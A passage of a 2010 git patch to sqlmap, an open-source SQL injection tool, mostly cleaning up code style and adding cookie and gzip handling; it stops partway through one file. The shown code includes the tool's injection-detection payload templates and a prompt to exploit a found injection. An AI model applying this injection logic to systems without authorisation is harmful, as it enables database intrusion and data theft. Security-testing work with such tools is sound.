From ce022a3b6e98d162fe1f5ed35de2edc56bb0c00d Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Sat, 2 Jan 2010 02:02:12 +0000 Subject: [PATCH] sqlmap 0.8-rc3: Merge from Miroslav Stampar's branch fixing a bug when verbosity > 2, another major bug with urlencoding/urldecoding of POST data and Cookies, adding --drop-set-cookie option, implementing support to automatically decode gzip and deflate HTTP responses, support for Google dork page result (--gpage) and a minor code cleanup. --- extra/dbgtool/dbgtool.py | 45 ++++----- lib/contrib/magic.py | 10 -- lib/contrib/multipartpost.py | 13 ++- lib/controller/action.py | 3 - lib/controller/checks.py | 49 ++++------ lib/controller/controller.py | 68 +++++++------ lib/controller/handler.py | 3 - lib/core/agent.py | 25 +---- lib/core/common.py | 143 ++++++++++++---------------- lib/core/convert.py | 39 +++----- lib/core/data.py | 2 - lib/core/datatype.py | 4 - lib/core/dump.py | 32 ++----- lib/core/exception.py | 19 ---- lib/core/option.py | 63 ++++-------- lib/core/optiondict.py | 12 +-- lib/core/progress.py | 7 -- lib/core/readlineng.py | 6 +- lib/core/session.py | 13 --- lib/core/settings.py | 5 +- lib/core/shell.py | 7 -- lib/core/subprocessng.py | 10 +- lib/core/target.py | 28 ++---- lib/core/unescaper.py | 5 - lib/core/update.py | 9 -- lib/parse/banner.py | 9 -- lib/parse/cmdline.py | 22 +++-- lib/parse/configfile.py | 5 - lib/parse/handler.py | 7 -- lib/parse/headers.py | 3 - lib/parse/html.py | 5 - lib/parse/queriesfile.py | 6 -- lib/request/basic.py | 35 ++++--- lib/request/certhandler.py | 12 +++ lib/request/comparison.py | 14 ++- lib/request/connect.py | 53 +++++------ lib/request/inject.py | 24 ++--- lib/request/proxy.py | 8 -- lib/takeover/abstraction.py | 13 +-- lib/takeover/metasploit.py | 53 +++-------- lib/takeover/registry.py | 10 +- lib/takeover/udf.py | 51 ++++------ lib/takeover/upx.py | 7 -- lib/takeover/xp_cmdshell.py | 37 +++---- lib/techniques/blind/inference.py | 28 ++---- lib/techniques/blind/timebased.py | 6 -- lib/techniques/inband/union/test.py | 8 -- lib/techniques/inband/union/use.py | 10 +- lib/techniques/outband/stacked.py | 6 +- lib/utils/google.py | 36 +++++-- lib/utils/parenthesis.py | 7 +- plugins/dbms/mssqlserver.py | 111 +++++++++------------ plugins/dbms/mysql.py | 96 ++++++++----------- plugins/dbms/oracle.py | 20 +--- plugins/dbms/postgresql.py | 58 ++++------- plugins/generic/enumeration.py | 26 +---- plugins/generic/filesystem.py | 28 ++---- plugins/generic/fingerprint.py | 6 -- plugins/generic/misc.py | 35 +++---- plugins/generic/takeover.py | 64 ++++--------- sqlmap.conf | 47 +++++---- sqlmap.py | 7 +- 62 files changed, 567 insertions(+), 1026 deletions(-) create mode 100644 lib/request/certhandler.py diff --git a/extra/dbgtool/dbgtool.py b/extra/dbgtool/dbgtool.py index e8b3bd7ae..d714f8cb5 100755 --- a/extra/dbgtool/dbgtool.py +++ b/extra/dbgtool/dbgtool.py @@ -1,28 +1,26 @@ #!/usr/bin/env python """ -dbgtool.py - Portable executable to ASCII debug script converter -Copyright (C) 2009 Bernardo Damele A. G. -web: http://bernardodamele.blogspot.com/ -email: bernardo.damele@gmail.com - -This library is free software; you can redistribute it and/or -modify it under the terms of the GNU Lesser General Public -License as published by the Free Software Foundation; either -version 2.1 of the License, or (at your option) any later version. - -This library is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -Lesser General Public License for more details. - -You should have received a copy of the GNU Lesser General Public -License along with this library; if not, write to the Free Software -Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA +dbgtool.py - Portable executable to ASCII debug script converter +Copyright (C) 2009 Bernardo Damele A. G. +web: http://bernardodamele.blogspot.com/ +email: bernardo.damele@gmail.com + +This library is free software; you can redistribute it and/or +modify it under the terms of the GNU Lesser General Public +License as published by the Free Software Foundation; either +version 2.1 of the License, or (at your option) any later version. + +This library is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +Lesser General Public License for more details. + +You should have received a copy of the GNU Lesser General Public +License along with this library; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA """ - - import os import sys import struct @@ -30,7 +28,6 @@ import struct from optparse import OptionError from optparse import OptionParser - def convert(inputFile): fileStat = os.stat(inputFile) fileSize = fileStat.st_size @@ -73,8 +70,7 @@ def convert(inputFile): script += "w\r\nq\r\n" return script - - + def main(inputFile, outputFile): if not os.path.isfile(inputFile): print 'ERROR: the provided input file \'%s\' is not a regular file' % inputFile @@ -89,8 +85,7 @@ def main(inputFile, outputFile): sys.stdout.close() else: print script - - + if __name__ == '__main__': usage = '%s -i [-o ]' % sys.argv[0] parser = OptionParser(usage=usage, version='0.1') diff --git a/lib/contrib/magic.py b/lib/contrib/magic.py index bd0380173..3b9b70be3 100644 --- a/lib/contrib/magic.py +++ b/lib/contrib/magic.py @@ -10,8 +10,6 @@ Reference: http://hupp.org/adam/hg/python-magic License: PSF (http://www.python.org/psf/license/) """ - - import os.path import ctypes import ctypes.util @@ -42,7 +40,6 @@ class Magic: magic_load(self.cookie, magic_file) - def from_buffer(self, buf): """ Identify the contents of `buf` @@ -66,7 +63,6 @@ class Magic: except Exception, _: pass - _magic_mime = None _magic = None @@ -96,8 +92,6 @@ def from_buffer(buffer, mime=False): m = _get_magic_type(mime) return m.from_buffer(buffer) - - try: libmagic = ctypes.CDLL(ctypes.util.find_library('magic')) @@ -132,17 +126,14 @@ try: magic_file.argtypes = [magic_t, c_char_p] magic_file.errcheck = errorcheck - _magic_buffer = libmagic.magic_buffer _magic_buffer.restype = c_char_p _magic_buffer.argtypes = [magic_t, c_void_p, c_size_t] _magic_buffer.errcheck = errorcheck - def magic_buffer(cookie, buf): return _magic_buffer(cookie, buf, len(buf)) - magic_load = libmagic.magic_load magic_load.restype = c_int magic_load.argtypes = [magic_t, c_char_p] @@ -162,7 +153,6 @@ try: except: pass - MAGIC_NONE = 0x000000 # No flags MAGIC_DEBUG = 0x000001 # Turn on debugging diff --git a/lib/contrib/multipartpost.py b/lib/contrib/multipartpost.py index eb10cf683..60e5ade3b 100644 --- a/lib/contrib/multipartpost.py +++ b/lib/contrib/multipartpost.py @@ -22,8 +22,6 @@ License along with this library; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - import mimetools import mimetypes import os @@ -39,7 +37,6 @@ class Callable: def __init__(self, anycallable): self.__call__ = anycallable - # Controls how sequences are uncoded. If true, elements may be given # multiple values by assigning a sequence. doseq = 1 @@ -50,9 +47,11 @@ class MultipartPostHandler(urllib2.BaseHandler): def http_request(self, request): data = request.get_data() + if data is not None and type(data) != str: v_files = [] v_vars = [] + try: for(key, value) in data.items(): if type(value) == file: @@ -75,16 +74,18 @@ class MultipartPostHandler(urllib2.BaseHandler): request.add_data(data) return request - def multipart_encode(vars, files, boundary = None, buffer = None): if boundary is None: boundary = mimetools.choose_boundary() + if buffer is None: buffer = '' + for(key, value) in vars: buffer += '--%s\r\n' % boundary buffer += 'Content-Disposition: form-data; name="%s"' % key buffer += '\r\n\r\n' + value + '\r\n' + for(key, fd) in files: file_size = os.fstat(fd.fileno())[stat.ST_SIZE] filename = fd.name.split('/')[-1] @@ -95,9 +96,11 @@ class MultipartPostHandler(urllib2.BaseHandler): # buffer += 'Content-Length: %s\r\n' % file_size fd.seek(0) buffer += '\r\n' + fd.read() + '\r\n' + buffer += '--%s--\r\n\r\n' % boundary + return boundary, buffer + multipart_encode = Callable(multipart_encode) https_request = http_request - diff --git a/lib/controller/action.py b/lib/controller/action.py index ed0f59e0c..c44ac9802 100644 --- a/lib/controller/action.py +++ b/lib/controller/action.py @@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - from lib.controller.handler import setHandler from lib.core.common import getHtmlErrorFp from lib.core.data import conf @@ -35,7 +33,6 @@ from lib.techniques.blind.timebased import timeTest from lib.techniques.inband.union.test import unionTest from lib.techniques.outband.stacked import stackedTest - def action(): """ This function exploit the SQL injection on the affected diff --git a/lib/controller/checks.py b/lib/controller/checks.py index aeb38b0c8..e17aab220 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - import re import time @@ -39,7 +37,6 @@ from lib.core.session import setString from lib.core.session import setRegexp from lib.request.connect import Connect as Request - def checkSqlInjection(place, parameter, value, parenthesis): """ This function checks if the GET, POST, Cookie, User-Agent @@ -71,11 +68,11 @@ def checkSqlInjection(place, parameter, value, parenthesis): payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt, postfix)) trueResult = Request.queryPage(payload, place) - if trueResult == True: + if trueResult: payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1, postfix)) falseResult = Request.queryPage(payload, place) - if falseResult != True: + if not falseResult: infoMsg = "confirming custom injection " infoMsg += "on %s parameter '%s'" % (place, parameter) logger.info(infoMsg) @@ -83,7 +80,7 @@ def checkSqlInjection(place, parameter, value, parenthesis): payload = agent.payload(place, parameter, value, "%s%s%s AND %s%s %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randStr, postfix)) falseResult = Request.queryPage(payload, place) - if falseResult != True: + if not falseResult: infoMsg = "%s parameter '%s' is " % (place, parameter) infoMsg += "custom injectable " logger.info(infoMsg) @@ -97,11 +94,11 @@ def checkSqlInjection(place, parameter, value, parenthesis): payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt)) trueResult = Request.queryPage(payload, place) - if trueResult == True: + if trueResult: payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1)) falseResult = Request.queryPage(payload, place) - if falseResult != True: + if not falseResult: infoMsg = "confirming unescaped numeric injection " infoMsg += "on %s parameter '%s'" % (place, parameter) logger.info(infoMsg) @@ -109,7 +106,7 @@ def checkSqlInjection(place, parameter, value, parenthesis): payload = agent.payload(place, parameter, value, "%s%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr)) falseResult = Request.queryPage(payload, place) - if falseResult != True: + if not falseResult: infoMsg = "%s parameter '%s' is " % (place, parameter) infoMsg += "unescaped numeric injectable " infoMsg += "with %d parenthesis" % parenthesis @@ -128,11 +125,11 @@ def checkSqlInjection(place, parameter, value, parenthesis): payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr)) trueResult = Request.queryPage(payload, place) - if trueResult == True: + if trueResult: payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1))) falseResult = Request.queryPage(payload, place) - if falseResult != True: + if not falseResult: infoMsg = "confirming single quoted string injection " infoMsg += "on %s parameter '%s'" % (place, parameter) logger.info(infoMsg) @@ -140,7 +137,7 @@ def checkSqlInjection(place, parameter, value, parenthesis): payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr)) falseResult = Request.queryPage(payload, place) - if falseResult != True: + if not falseResult: infoMsg = "%s parameter '%s' is " % (place, parameter) infoMsg += "single quoted string injectable " infoMsg += "with %d parenthesis" % parenthesis @@ -159,11 +156,11 @@ def checkSqlInjection(place, parameter, value, parenthesis): payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr)) trueResult = Request.queryPage(payload, place) - if trueResult == True: + if trueResult: payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1))) falseResult = Request.queryPage(payload, place) - if falseResult != True: + if not falseResult: infoMsg = "confirming LIKE single quoted string injection " infoMsg += "on %s parameter '%s'" % (place, parameter) logger.info(infoMsg) @@ -171,7 +168,7 @@ def checkSqlInjection(place, parameter, value, parenthesis): payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr)) falseResult = Request.queryPage(payload, place) - if falseResult != True: + if not falseResult: infoMsg = "%s parameter '%s' is " % (place, parameter) infoMsg += "LIKE single quoted string injectable " infoMsg += "with %d parenthesis" % parenthesis @@ -190,11 +187,11 @@ def checkSqlInjection(place, parameter, value, parenthesis): payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr)) trueResult = Request.queryPage(payload, place) - if trueResult == True: + if trueResult: payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1))) falseResult = Request.queryPage(payload, place) - if falseResult != True: + if not falseResult: infoMsg = "confirming double quoted string injection " infoMsg += "on %s parameter '%s'" % (place, parameter) logger.info(infoMsg) @@ -202,7 +199,7 @@ def checkSqlInjection(place, parameter, value, parenthesis): payload = agent.payload(place, parameter, value, "%s\"%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr)) falseResult = Request.queryPage(payload, place) - if falseResult != True: + if not falseResult: infoMsg = "%s parameter '%s' is " % (place, parameter) infoMsg += "double quoted string injectable " infoMsg += "with %d parenthesis" % parenthesis @@ -221,11 +218,11 @@ def checkSqlInjection(place, parameter, value, parenthesis): payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr)) trueResult = Request.queryPage(payload, place) - if trueResult == True: + if trueResult: payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1))) falseResult = Request.queryPage(payload, place) - if falseResult != True: + if not falseResult: infoMsg = "confirming LIKE double quoted string injection " infoMsg += "on %s parameter '%s'" % (place, parameter) logger.info(infoMsg) @@ -233,7 +230,7 @@ def checkSqlInjection(place, parameter, value, parenthesis): payload = agent.payload(place, parameter, value, "%s\"%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr)) falseResult = Request.queryPage(payload, place) - if falseResult != True: + if not falseResult: infoMsg = "%s parameter '%s' is " % (place, parameter) infoMsg += "LIKE double quoted string injectable " infoMsg += "with %d parenthesis" % parenthesis @@ -247,7 +244,6 @@ def checkSqlInjection(place, parameter, value, parenthesis): return None - def checkDynParam(place, parameter, value): """ This function checks if the url parameter is dynamic. If it is @@ -279,7 +275,6 @@ def checkDynParam(place, parameter, value): return condition - def checkStability(): """ This function checks if the URL content is stable requesting the @@ -300,13 +295,13 @@ def checkStability(): condition = firstPage == secondPage - if condition == True: + if condition: conf.md5hash = md5hash(firstPage) logMsg = "url is stable" logger.info(logMsg) - elif condition == False: + elif not condition: warnMsg = "url is not stable, sqlmap will base the page " warnMsg += "comparison on a sequence matcher, if no dynamic nor " warnMsg += "injectable parameters are detected, refer to user's " @@ -315,8 +310,6 @@ def checkStability(): logger.warn(warnMsg) return condition - - def checkString(): if not conf.string: return True @@ -347,7 +340,6 @@ def checkString(): return False - def checkRegexp(): if not conf.regexp: return True @@ -379,7 +371,6 @@ def checkRegexp(): return False - def checkConnection(): infoMsg = "testing connection to the target url" logger.info(infoMsg) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 9d03d1407..ad01aebc3 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - from lib.controller.action import action from lib.controller.checks import checkSqlInjection from lib.controller.checks import checkDynParam @@ -33,6 +31,7 @@ from lib.controller.checks import checkRegexp from lib.controller.checks import checkConnection from lib.core.common import paramToDict from lib.core.common import readInput +from lib.core.common import sanitizeCookie from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -42,7 +41,6 @@ from lib.core.target import createTargetDirs from lib.core.target import initTargetEnv from lib.utils.parenthesis import checkForParenthesis - def __selectInjection(injData): """ Selection function for injection place, parameters and type. @@ -83,7 +81,6 @@ def __selectInjection(injData): return injData[index] - def start(): """ This function calls a function that performs checks on both URL @@ -143,34 +140,36 @@ def start(): if not checkConnection() or not checkString() or not checkRegexp(): continue - for _, cookie in enumerate(conf.cj): - cookie = str(cookie) - index = cookie.index(" for ") + if not conf.dropSetCookie: + for _, cookie in enumerate(conf.cj): + cookie = str(cookie) + index = cookie.index(" for ") + + cookieStr += "%s;" % cookie[8:index] - cookieStr += "%s;" % cookie[8:index] - - if cookieStr: - cookieStr = cookieStr[:-1] - - if "Cookie" in conf.parameters: - message = "you provided an HTTP Cookie header value. " - message += "The target url provided its own Cookie within " - message += "the HTTP Set-Cookie header. Do you want to " - message += "continue using the HTTP Cookie values that " - message += "you provided? [Y/n] " - test = readInput(message, default="Y") - - if not test or test[0] in ("y", "Y"): - setCookieAsInjectable = False - - if setCookieAsInjectable: - conf.httpHeaders.append(("Cookie", cookieStr)) - conf.parameters["Cookie"] = cookieStr.replace("%", "%%") - __paramDict = paramToDict("Cookie", cookieStr) - - if __paramDict: - conf.paramDict["Cookie"] = __paramDict - __testableParameters = True + if cookieStr: + cookieStr = cookieStr[:-1] + + if "Cookie" in conf.parameters: + message = "you provided an HTTP Cookie header value. " + message += "The target url provided its own Cookie within " + message += "the HTTP Set-Cookie header. Do you want to " + message += "continue using the HTTP Cookie values that " + message += "you provided? [Y/n] " + test = readInput(message, default="Y") + + if not test or test[0] in ("y", "Y"): + setCookieAsInjectable = False + + if setCookieAsInjectable: + safeCookie = sanitizeCookie(cookieStr) + conf.httpHeaders.append(("Cookie", safeCookie)) + conf.parameters["Cookie"] = safeCookie + __paramDict = paramToDict("Cookie", safeCookie) + + if __paramDict: + conf.paramDict["Cookie"] = __paramDict + __testableParameters = True if not kb.injPlace or not kb.injParameter or not kb.injType: if not conf.string and not conf.regexp and not conf.eRegexp: @@ -201,7 +200,7 @@ def start(): logMsg = "%s parameter '%s' is dynamic" % (place, parameter) logger.info(logMsg) - if testSqlInj == True: + if testSqlInj: for parenthesis in range(0, 4): logMsg = "testing sql injection on %s " % place logMsg += "parameter '%s' with " % parameter @@ -247,14 +246,11 @@ def start(): if not conf.multipleTargets and ( not kb.injPlace or not kb.injParameter or not kb.injType ): raise sqlmapNotVulnerableException, "all parameters are not injectable" elif kb.injPlace and kb.injParameter and kb.injType: - condition = False - if conf.multipleTargets: message = "do you want to exploit this SQL injection? [Y/n] " exploit = readInput(message, default="Y") - if not exploit or exploit[0] in ("y", "Y"): - condition = True + condition = not exploit or exploit[0] in ("y", "Y") else: condition = True diff --git a/lib/controller/handler.py b/lib/controller/handler.py index 2faca3717..d36af20c3 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -37,7 +35,6 @@ from plugins.dbms.mysql import MySQLMap from plugins.dbms.oracle import OracleMap from plugins.dbms.postgresql import PostgreSQLMap - def setHandler(): """ Detect which is the target web application back-end database diff --git a/lib/core/agent.py b/lib/core/agent.py index 9b3b22ef4..be05eb5f4 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - import re from lib.core.common import randomInt @@ -45,7 +43,6 @@ class Agent: temp.start = randomStr(6) temp.stop = randomStr(6) - def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False, falseCond=False): """ This method replaces the affected parameter with the SQL @@ -56,9 +53,9 @@ class Agent: negValue = "" retValue = "" - if negative == True or conf.paramNegative == True: + if negative or conf.paramNegative: negValue = "-" - elif falseCond == True or conf.paramFalseCond == True: + elif falseCond or conf.paramFalseCond: randInt = randomInt() falseValue = " AND %d=%d" % (randInt, randInt + 1) @@ -83,7 +80,6 @@ class Agent: return retValue - def fullPayload(self, query): query = self.prefixQuery(query) query = self.postfixQuery(query) @@ -91,7 +87,6 @@ class Agent: return payload - def prefixQuery(self, string): """ This method defines how the input string has to be escaped @@ -120,7 +115,6 @@ class Agent: return query - def postfixQuery(self, string, comment=None): """ This method appends the DBMS comment to the @@ -136,7 +130,7 @@ class Agent: if conf.postfix: string += " %s" % conf.postfix else: - if kb.parenthesis != None: + if kb.parenthesis is not None: string += " AND %s" % ("(" * kb.parenthesis) else: raise sqlmapNoneDataException, "unable to get the number of parenthesis" @@ -156,7 +150,6 @@ class Agent: return string - def nullAndCastField(self, field): """ Take in input a field string and return its processed nulled and @@ -195,7 +188,6 @@ class Agent: return nulledCastedField - def nullCastConcatFields(self, fields): """ Take in input a sequence of fields string and return its processed @@ -242,7 +234,6 @@ class Agent: return nulledCastedConcatFields - def getFields(self, query): """ Take in input a query string and return its fields (columns) and @@ -285,7 +276,6 @@ class Agent: return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr - def simpleConcatQuery(self, query1, query2): concatenatedQuery = "" @@ -300,7 +290,6 @@ class Agent: return concatenatedQuery - def concatQuery(self, query, unpack=True): """ Take in input a query string and return its processed nulled, @@ -327,7 +316,7 @@ class Agent: @rtype: C{str} """ - if unpack == True: + if unpack: concatenatedQuery = "" query = query.replace(", ", ",") @@ -386,7 +375,6 @@ class Agent: return concatenatedQuery - def forgeInbandQuery(self, query, exprPosition=None, nullChar="NULL"): """ Take in input an query (pseudo query) string and return its @@ -465,7 +453,6 @@ class Agent: return inbandQuery - def limitQuery(self, num, query, field): """ Take in input a query string and return its limited query string. @@ -529,7 +516,7 @@ class Agent: topNum = re.search("TOP\s+([\d]+)\s+", limitedQuery, re.I).group(1) limitedQuery = limitedQuery.replace("TOP %s " % topNum, "") - if forgeNotIn == True: + if forgeNotIn: limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1) if " WHERE " in limitedQuery: limitedQuery = "%s AND %s " % (limitedQuery, field) @@ -540,7 +527,6 @@ class Agent: return limitedQuery - def forgeCaseStatement(self, expression): """ Take in input a query string and return its CASE statement query @@ -560,6 +546,5 @@ class Agent: return queries[kb.dbms].case % expression - # SQL agent agent = Agent() diff --git a/lib/core/common.py b/lib/core/common.py index 063c15e70..e0473949c 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - import os import random import re @@ -32,10 +30,7 @@ import string import sys import time import urlparse - - from lib.contrib import magic -from lib.core.convert import urldecode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -115,7 +110,6 @@ def paramToDict(place, parameters=None): return testableParameters - def formatDBMSfp(versions=None): """ This function format the back-end DBMS fingerprint value and return its @@ -139,13 +133,11 @@ def formatDBMSfp(versions=None): return kb.dbms - def formatFingerprintString(values, chain=" or "): strJoin = "|".join([v for v in values]) return strJoin.replace("|", chain) - def formatFingerprint(target, info): """ This function format the back-end operating system fingerprint value @@ -198,7 +190,6 @@ def formatFingerprint(target, info): return infoStr - def getHtmlErrorFp(): """ This function parses the knowledge base htmlFp list and return its @@ -222,7 +213,6 @@ def getHtmlErrorFp(): return htmlParsed - def getDocRoot(): docRoot = None pagePath = os.path.dirname(conf.path) @@ -236,7 +226,7 @@ def getDocRoot(): for absFilePath in kb.absFilePaths: absFilePathWin = None - if re.search("([\w]\:[\/\\\\]+)", absFilePath): + if re.search("[A-Za-z]:(\\[\w.\\]*)?", absFilePath): absFilePathWin = absFilePath absFilePath = absFilePath[2:].replace("\\", "/") @@ -269,7 +259,6 @@ def getDocRoot(): return docRoot - def getDirs(): directories = set() @@ -305,33 +294,28 @@ def getDirs(): directories.add(defaultDir) return directories - - + def filePathToString(filePath): strRepl = filePath.replace("/", "_").replace("\\", "_") strRepl = strRepl.replace(" ", "_").replace(":", "_") return strRepl - def dataToStdout(data): sys.stdout.write(data) sys.stdout.flush() - - + def dataToSessionFile(data): if not conf.sessionFile: return conf.sessionFP.write(data) conf.sessionFP.flush() - - + def dataToDumpFile(dumpFile, data): dumpFile.write(data) dumpFile.flush() - - + def dataToOutFile(data): if not data: return "No data retrieved" @@ -346,7 +330,6 @@ def dataToOutFile(data): return rFilePath - def strToHex(inpStr): """ @param inpStr: inpStr to be converted into its hexadecimal value. @@ -369,8 +352,7 @@ def strToHex(inpStr): hexStr += hexChar return hexStr - - + def fileToStr(fileName): """ @param fileName: file path to read the content and return as a no @@ -384,13 +366,7 @@ def fileToStr(fileName): filePointer = open(fileName, "r") fileText = filePointer.read() - fileText = fileText.replace(" ", "") - fileText = fileText.replace("\t", "") - fileText = fileText.replace("\r", "") - fileText = fileText.replace("\n", " ") - - return fileText - + return fileText.replace(" ", "").replace("\t", "").replace("\r", "").replace("\n", " ") def fileToHex(fileName): """ @@ -407,7 +383,6 @@ def fileToHex(fileName): return hexFile - def readInput(message, default=None): """ @param message: message to display on terminal. @@ -435,8 +410,7 @@ def readInput(message, default=None): data = default return data - - + def randomRange(start=0, stop=1000): """ @param start: starting number. @@ -451,7 +425,6 @@ def randomRange(start=0, stop=1000): return int(random.randint(start, stop)) - def randomInt(length=4): """ @param length: length of the random string. @@ -463,7 +436,6 @@ def randomInt(length=4): return int("".join([random.choice(string.digits) for _ in xrange(0, length)])) - def randomStr(length=5, lowercase=False): """ @param length: length of the random string. @@ -473,14 +445,13 @@ def randomStr(length=5, lowercase=False): @rtype: C{str} """ - if lowercase == True: + if lowercase: rndStr = "".join([random.choice(string.lowercase) for _ in xrange(0, length)]) else: rndStr = "".join([random.choice(string.letters) for _ in xrange(0, length)]) return rndStr - - + def sanitizeStr(inpStr): """ @param inpStr: inpStr to sanitize: cast to str datatype and replace @@ -496,7 +467,6 @@ def sanitizeStr(inpStr): return cleanString - def checkFile(filename): """ @param filename: filename to check if it exists. @@ -505,15 +475,13 @@ def checkFile(filename): if not os.path.exists(filename): raise sqlmapFilePathException, "unable to read file '%s'" % filename - - + def replaceNewlineTabs(inpStr): replacedString = inpStr.replace("\n", "__NEWLINE__").replace("\t", "__TAB__") replacedString = replacedString.replace(temp.delimiter, "__DEL__") return replacedString - def banner(): """ This function prints sqlmap banner with its version @@ -523,8 +491,7 @@ def banner(): %s by Bernardo Damele A. G. """ % VERSION_STRING - - + def parsePasswordHash(password): blank = " " * 8 @@ -542,8 +509,7 @@ def parsePasswordHash(password): password += "%suppercase: %s" % (blank, hexPassword[54:]) return password - - + def cleanQuery(query): upperQuery = query @@ -556,8 +522,7 @@ def cleanQuery(query): upperQuery = upperQuery.replace(queryMatch.group(1), sqlStatement.upper()) return upperQuery - - + def setPaths(): # sqlmap paths paths.SQLMAP_CONTRIB_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "contrib") @@ -581,8 +546,7 @@ def setPaths(): paths.MYSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mysql.xml") paths.ORACLE_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "oracle.xml") paths.PGSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "postgresql.xml") - - + def weAreFrozen(): """ Returns whether we are frozen via py2exe. @@ -592,7 +556,6 @@ def weAreFrozen(): return hasattr(sys, "frozen") - def parseTargetUrl(): """ Parse target url and set some attributes into the configuration @@ -623,11 +586,10 @@ def parseTargetUrl(): conf.port = 80 if __urlSplit[3]: - conf.parameters["GET"] = urldecode(__urlSplit[3]).replace("%", "%%") + conf.parameters["GET"] = __urlSplit[3] conf.url = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, conf.path) - - + def expandAsteriskForColumns(expression): # If the user provided an asterisk rather than the column(s) # name, sqlmap will retrieve the columns itself and reprocess @@ -659,8 +621,7 @@ def expandAsteriskForColumns(expression): logger.info(infoMsg) return expression - - + def getRange(count, dump=False, plusOne=False): count = int(count) indexRange = None @@ -674,14 +635,13 @@ def getRange(count, dump=False, plusOne=False): if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop: limitStart = conf.limitStart - if kb.dbms == "Oracle" or plusOne == True: + if kb.dbms == "Oracle" or plusOne: indexRange = range(limitStart, limitStop + 1) else: indexRange = range(limitStart - 1, limitStop) return indexRange - - + def parseUnionPage(output, expression, partial=False, condition=None, sort=True): data = [] @@ -696,7 +656,7 @@ def parseUnionPage(output, expression, partial=False, condition=None, sort=True) output = re.findall(regExpr, output, re.S) - if condition == None: + if condition is None: condition = ( kb.resumedQueries and conf.url in kb.resumedQueries.keys() and expression in kb.resumedQueries[conf.url].keys() @@ -731,27 +691,25 @@ def parseUnionPage(output, expression, partial=False, condition=None, sort=True) data = data[0] return data - - + def getDelayQuery(): query = None - if kb.dbms in ( "MySQL", "PostgreSQL" ): + if kb.dbms in ("MySQL", "PostgreSQL"): 